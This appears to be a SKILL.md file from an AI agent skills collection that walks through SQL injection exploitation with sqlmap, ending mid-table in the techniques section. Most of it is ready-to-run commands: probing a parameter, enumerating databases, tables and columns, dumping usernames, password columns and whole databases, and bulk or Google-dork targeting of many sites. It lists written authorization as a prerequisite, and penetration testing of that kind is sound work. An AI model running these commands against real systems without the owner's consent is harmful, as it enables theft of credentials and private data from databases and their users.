Sqlmap database pentesting
Skill ranbot-ai/awesome-skills/skills/sqlmap-database-pentesting
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This skill should be used when the user asks to "automate SQL injection testing," "enumerate database structure," "extract database credentials using sqlmap," "dump tables and columns...
SKILL.md
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SQLMap Database Penetration Testing
Purpose
Provide systematic methodologies for automated SQL injection detection and exploitation using SQLMap. This skill covers database enumeration, table and column discovery, data extraction, multiple target specification methods, and advanced exploitation techniques for MySQL, PostgreSQL, MSSQL, Oracle, and other database management systems.
Inputs / Prerequisites
- Target URL: Web application URL with injectable parameter (e.g.,
?id=1) - SQLMap Installation: Pre-installed on Kali Linux or downloaded from GitHub
- Verified Injection Point: URL parameter confirmed or suspected to be SQL injectable
- Request File (Optional): Burp Suite captured HTTP request for POST-based injection
- Authorization: Written permission for penetration testing activities
Outputs / Deliverables
- Database Enumeration: List of all databases on the target server
- Table Structure: Complete table names within target database
- Column Mapping: Column names and data types for each table
- Extracted Data: Dumped records including usernames, passwords, and sensitive data
- Hash Values: Password hashes for offline cracking
- Vulnerability Report: Confirmation of SQL injection type and severity
Core Workflow
1. Identify SQL Injection Vulnerability
Manual Verification
# Add single quote to break query
http://target.com/page.php?id=1'
# If error message appears, likely SQL injectable
# Error example: "You have an error in your SQL syntax"
Initial SQLMap Scan
# Basic vulnerability detection
sqlmap -u "http://target.com/page.php?id=1" --batch
# With verbosity for detailed output
sqlmap -u "http://target.com/page.php?id=1" --batch -v 3
2. Enumerate Databases
List All Databases
sqlmap -u "http://target.com/page.php?id=1" --dbs --batch
Key Options:
-u: Target URL with injectable parameter--dbs: Enumerate database names--batch: Use default answers (non-interactive mode)
3. Enumerate Tables
List Tables in Specific Database
sqlmap -u "http://target.com/page.php?id=1" -D database_name --tables --batch
Key Options:
-D: Specify target database name--tables: Enumerate table names
4. Enumerate Columns
List Columns in Specific Table
sqlmap -u "http://target.com/page.php?id=1" -D database_name -T table_name --columns --batch
Key Options:
-T: Specify target table name--columns: Enumerate column names
5. Extract Data
Dump Specific Table Data
sqlmap -u "http://target.com/page.php?id=1" -D database_name -T table_name --dump --batch
Dump Specific Columns
sqlmap -u "http://target.com/page.php?id=1" -D database_name -T users -C username,password --dump --batch
Dump Entire Database
sqlmap -u "http://target.com/page.php?id=1" -D database_name --dump-all --batch
Key Options:
--dump: Extract all data from specified table--dump-all: Extract all data from all tables-C: Specify column names to extract
6. Advanced Target Options
Target from HTTP Request File
# Save Burp Suite request to file, then:
sqlmap -r /path/to/request.txt --dbs --batch
Target from Log File
# Feed log file with multiple requests
sqlmap -l /path/to/logfile --dbs --batch
Target Multiple URLs (Bulk File)
# Create file with URLs, one per line:
# http://target1.com/page.php?id=1
# http://target2.com/page.php?id=2
sqlmap -m /path/to/bulkfile.txt --dbs --batch
Target via Google Dorks (Use with Caution)
# Automatically find and test vulnerable sites (LEGAL TARGETS ONLY)
sqlmap -g "inurl:?id= site:yourdomain.com" --batch
Quick Reference Commands
Database Enumeration Progression
| Stage | Command |
|---|---|
| List Databases | sqlmap -u "URL" --dbs --batch |
| List Tables | sqlmap -u "URL" -D dbname --tables --batch |
| List Columns | sqlmap -u "URL" -D dbname -T tablename --columns --batch |
| Dump Data | sqlmap -u "URL" -D dbname -T tablename --dump --batch |
| Dump All | sqlmap -u "URL" -D dbname --dump-all --batch |
Supported Database Management Systems
| DBMS | Support Level |
|---|---|
| MySQL | Full Support |
| PostgreSQL | Full Support |
| Microsoft SQL Server | Full Support |
| Oracle | Full Support |
| Microsoft Access | Full Support |
| IBM DB2 | Full Support |
| SQLite | Full Support |
| Firebird | Full Support |
| Sybase | Full Support |
| SAP MaxDB | Full Support |
| HSQLDB | Full Support |
| Informix | Full Support |
SQL Injection Techniques
| Technique | Description | Flag |
|---|---|---|
| Boolean-based blind | Infers data from true/false responses | --technique=B |
| Time-based blind | Uses time delays to infer data | --technique=T |
| Error-based | Extracts data from error messages | `--techniq |